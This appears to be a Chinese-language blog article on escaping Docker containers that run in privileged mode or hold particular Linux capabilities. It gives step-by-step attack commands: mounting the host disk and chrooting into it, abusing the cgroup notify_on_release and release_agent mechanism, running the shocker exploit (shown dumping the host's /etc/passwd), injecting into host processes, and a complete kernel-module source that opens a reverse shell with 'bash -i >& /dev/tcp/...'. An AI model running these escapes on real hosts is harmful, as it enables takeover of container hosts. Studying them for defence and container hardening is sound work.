特權模式下Docker逃逸手法總結
特權模式逃逸和掛載目錄逃逸是最常見的逃逸手法。
特權模式逃逸,也就是熟知的--privileged選項啟動后容器不受seccomp等機制的的限制,常見利用就是掛載根目錄或利用docker.sock創建惡意容器。
而基于容器特權模式逃逸也分不同特權情況,本文總結常見特權模式下不同Capabilities常見對應的攻擊手法。
privileged參數逃逸
最常見也是最簡單的一種情況,容器啟動時如果添加了--privileged參數則會具備全部Capabilities,容器可以訪問主機所有device以及具有mount操作的權限。
這里需要注意使用了--privileged參數不等于只是具備全部Capabilities,還包括禁用Seccomp和AppArmor等安全機制、訪問device。
特權容器介紹:https://www.docker.com/blog/docker-can-now-run-within-docker/
簡單來說就是特權容器擁有所有設備的訪問權限,通過一些設置來達到從容器內部和從外部訪問相同的效果。
docker run -it --rm --privileged ubuntu:latest bash
容器中可以通過查看Capabilities來判斷是否是特權容器:

查看該容器具備的特權列表:
capsh --decode=0000003fffffffff

以privileged參數運行的容器中攜帶了所有的cap,并且可以訪問所有device:

能訪問device了逃到宿主機也很簡單,先將其掛載到容器中,然后使用chroot獲取一個以宿主機根目錄為根目錄的shell來拿到宿主機的權限。
mkdir /tmp/mntmount /dev/sda1 /tmp/mntcd /tmp/mntchroot ./ bashreverse shell
常用判斷工具cdk也是通過cat /proc/1/status | grep Cap查詢對應出來的值為0000003fffffffff來判斷是否是特權容器:

cap_sys_admin權限逃逸
cap_sys_admin權限下也有幾種方式可以逃逸,常見的為notify_on_release機制逃逸、重寫devices.allow逃逸等。
容器兩大隔離機制:
- linux命名空間機制:文件系統、網絡、進程、進程間通信和主機名等方面實現隔離。
- cgroups機制:在cpu,內存和硬件等資源方面實現隔離。
cgroup隔離機制:
CGroup 技術被廣泛用于 Linux 操作系統環境下的物理分割,是 Linux Container 技術的底層基礎技術,是虛擬化技術的基礎。
notify_on_release逃逸會用到cgroup的隔離機制,cgroups為每種可以控制的資源定義了一個子系統(subsystem)。
cgroup有幾個必須知道的概念:
- 子系統(subsystem) 一個子系統就是一個資源控制器,比如cpu子系統就是控制cpu時間分配的一個控制器。
- 層級(hierarchy) 子系統必須附加(attach)到一個層級上才能起作用。使用mkdir -p /cgroup/name && mount -t cgroup -o subsystems name /cgroup/name命令創建一個層級,并把該層級掛載到目錄。
- 控制組群(control group) cgroups中的資源控制都是以控制組群為單位實現。一個進程可以加入到某個控制組群,也從一個進程組遷移到另一個控制組群。一個進程組的進程可以使用cgroups以控制組群為單位分配的資源,同時受到cgroups以控制組群為單位設定的限制。
- 任務(task) 任務就是系統的一個進程。控制組群所對應的目錄中有一個tasks文件,將進程ID寫進該文件,該進程就會受到該控制組群的限制。
一個cgroups把一系列任務(進程)分配給一個或多個子系統
在Linux中cgroup的實現形式表現為一個文件系統。

cgroup提供了很多子系統,例如cpu子系統、memory子系統、blkio子系統等:


幾個重要的文件:
- cgroup.procs:該cgroup中的TGID(線程組ID),即線程組中第一個進程的PID:

- tasks:該cgroup中任務的TID,即所有進程或線程的ID

- notify_on_release:0或1,表示是否在cgroup子系統所有進出退出后通知release agent,默認情況下是0,表示不運行。
- 如果notify_on_release的值被設置為1,cgroup下所有task結束的時候,那么內核就會運行root cgroup下release_agent文件中的對應路徑的文件。

notify_on_release機制逃逸
參考:https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
通過上面粗略知道cgroup中notify_on_release機制可以知道,當cgroup子系統中notify_on_release為1,cgroup子系統所有進出退出后通知release agent,內核會以root權限運行release_agent文件中的對應路徑的文件。
所以notify_on_release機制逃逸條件:
- 對cgroup有可寫權限。
- (設置notify_on_release為1觸發notify_on_release機制)
- 知道一個宿主機路徑并且容器中可在這個路徑寫入文件和執行文件。
- (release_agent文件中對應路徑的文件)
第一個條件需要對cgroup可寫,并且有可執行的release_agent文件,比較特殊的是notify_on_release文件在每一個層級的子系統中都有,但是release_agent文件只是rdma才有:

所以默認符合條件的只有rdma子系統,或者使用cgroup_dir=dirname $(ls -x /s*/fs/c*/*/r* |head -n1)進行查找符合條件的子系統。

再來說對cgroup可寫,直接對頂級下的notify_on_release設置成1是不合理的,因為最后還要移除cgroup下的所有進程,不能對原有設置產生影響最好的方式就是創建一個子cgroup:
d=/sys/fs/cgroup/rdma mkdir -p $d/testecho 1 >$d/test/notify_on_release

第二個條件前提是需要知道容器所在的宿主機路徑以及對這個路徑是否可寫可執行:
這里需要知道docker容器運行的默認存儲方式Overlay文件系統,默認使用的驅動是overlay2。
所以notify_on_release逃逸的exp中會對mtab進行讀取來獲得容器所在的宿主機的路徑。
sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab

在cdk中也是判斷文件系統類型是否是overlay:

除了overlay方式外還有devicemapper、vfs、zfs、aufs、btrfs,每種存儲方式獲取容器所在的宿主機路徑的方式并不相同,每個存儲方式留在mtab上的信息是不同的:
device mapper:
device mapper在宿主機上的目錄默認是/var/lib/docker/devicemapper/mnt/[id]/rootfs,通過sed -n 's/\/dev\/mapper\/docker\-[0-9]*:[0-9]*\-[0-9]*\-\(.*\) \/\(.*\)/\1/p' /etc/mtab可以獲取到對應的id值
aufs:
aufs場景可以在/sys/fs/aufs/si_[id]目錄下查看aufs的mount的情況以此來拼湊容器所在宿主機的路徑。
cat/sys/fs/aufs/si_[id]
btrfs:
btrfs直接讀取matb中btrfs的subvol部分即可
cat /etc/mtab
vfs:
vfs在/proc/1/mountinfo或者/proc/1/task/1/mountinfo文件中都可以獲取到在宿主機上的路徑
zfs:
zfs也是直接讀取matb中zfs的內容即可
在exp中對mtab進行讀取來獲得容器所在的宿主機的路徑中寫入最后真正執行的exp文件,并且對文件添加可執行權限。然后把這個文件的全路徑寫入到release_agent文件中:

最后對cgroup.procs或者tasks文件寫入0,表示移除所有cgroup進程,來觸發:

可以看到宿主機被執行了命令。
apparmor限制
上面成功利用notify_on_release來在宿主機執行命令的情況是沒有apparmor(Application Armor,內核安全模塊)的限制的情況下,才可以成功執行。
開頭說的privileged參數不進有所有cap,還會禁用Seccomp和AppArmor等安全機制,所以也可以用掛載cgroup后利用notify_on_release執行宿主機命令。
而只有sys_admin的cap掛載新的cgroup在部分linux系統中可能會受到apparmor的限制,該安全模塊會限制掛載cgroup,ubuntu系統默認開啟。實驗時可以添加參數關閉--security-opt apparmor=unconfined。
如果新建cgroup子系統了也沒有權限修改cgroup子系統中的文件時只有cgroup虛擬文件系統掛載到用戶的目錄下:
mkdir /tmp/cgroup && mount -t cgroup -o rdma cgroup /tmp/cgroup cgroup_dir=/tmp/cgroup
cap_sys_ptrace權限逃逸
如果有cap_sys_ptrace的cap就可以使用ptrace的特權,有這個特權可以對其他進程進行調試或者進程注入。但是由于namespace的存在,無法直接訪問到宿主機的pid。因此這里一般需要容器的pid namespace使用宿主機的。
所以cap_sys_ptrace逃逸條件:
- 容器有CAP_SYS_PTRACE權限
- 容器與宿主機共用用pid namespace(--pid=host 打破進程隔離)
- 沒有apparmor保護

判斷是否有sys_ptrace:


這個時候選擇宿主機中的進程,來對進程注入代碼:
https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode隨意,msf即可:

注入進程即可msf獲得會話。
cap_dac_override權限逃逸
cap_dac_override特權可以繞過文件讀、寫、執行權限的檢查。
以利用CAP_DAC_READ_SEARCH+CAP_DAC_OVERRIDE特權的應用方法,對宿主機系統中存在的文件進行任意讀寫。
能寫文件就很多方式執行命令,常規為計劃任務、私鑰等來反彈shell。
cap_dac_read_search權限逃逸
該權限可以讀取宿主機當中的一些文件,條件是容器中是root用戶。
原理是該特權允許調用open_by_handle_at函數,并且會繞過所有關于文件權限的檢查。open_by_handle_at接收三個參數,如下:
int open_by_handle_at( int mount_fd, struct file_handle *handle, int flags);
exp:http://stealth.openwall.net/xSports/shocker.c
./shock.o /etc/hosts /etc/passwd[*] Resolving 'etc/passwd'[*] Found lib[*] Found cmd[*] Found lib32[*] Found mnt[*] Found media[*] Found home[*] Found usr[*] Found root[*] Found etc[+] Match: etc ino=655361[*] Brute forcing remaining 32bit. This can take a while...[*] (etc) Trying: 0x00000000[*] #=8, 1, char nh[] = {0x01, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00};[*] Resolving 'passwd'[*] Found containerd[*] Found gshadow[*] Found xattr.conf[*] Found host.conf[*] Found services...省略...[*] Found security[*] Found modules[*] Found hosts[*] Found magic[*] Found X11[*] Found protocols[*] Found debian_version[*] Found zsh_command_not_found[*] Found sudoers[*] Found passwd[+] Match: passwd ino=657156[*] Brute forcing remaining 32bit. This can take a while...[*] (passwd) Trying: 0x00000000[*] #=8, 1, char nh[] = {0x04, 0x07, 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00};[!] Got a final handle![*] #=8, 1, char nh[] = {0x04, 0x07, 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00};[!] Win! output follows:root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinubuntu:x:1000:1000:ubuntu:/home/ubuntu:/bin/bashlxd:x:998:100::/var/snap/lxd/common/lxd:/bin/falsetest:x:1001:1001::/home/test:/bin/sh
cap_sys_module權限逃逸
cap_sys_module特權表示允許加載內核模塊,直接新建一個命令執行的模塊即可拿到宿主機權限。
這里創建一個huoxian.c:
#include #include
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/xxxx/xxx 0>&1", NULL};static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
// call_usermodehelper function is used to create user mode processes from kernel spacestatic int __init reverse_shell_init(void) { return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);}
static void __exit reverse_shell_exit(void) { printk(KERN_INFO "Exiting");}
module_init(reverse_shell_init);module_exit(reverse_shell_exit);
編譯后會生成ko文件,也就是內核模塊,然后使用insmod命令加載模塊即可,不過很多時候容器內沒有insmod命令,可以自己編譯insmod打包一個
(https://code-examples.net/en/q/5abf96)

創建一個makefile,然后對huoxian.c進行編譯

make編譯,生成huoxian.ko文件:

拷貝insmod和huoxian.ko到docker里:

運行insmod加載huoxian.ko模塊:

得到宿主機反彈shell:
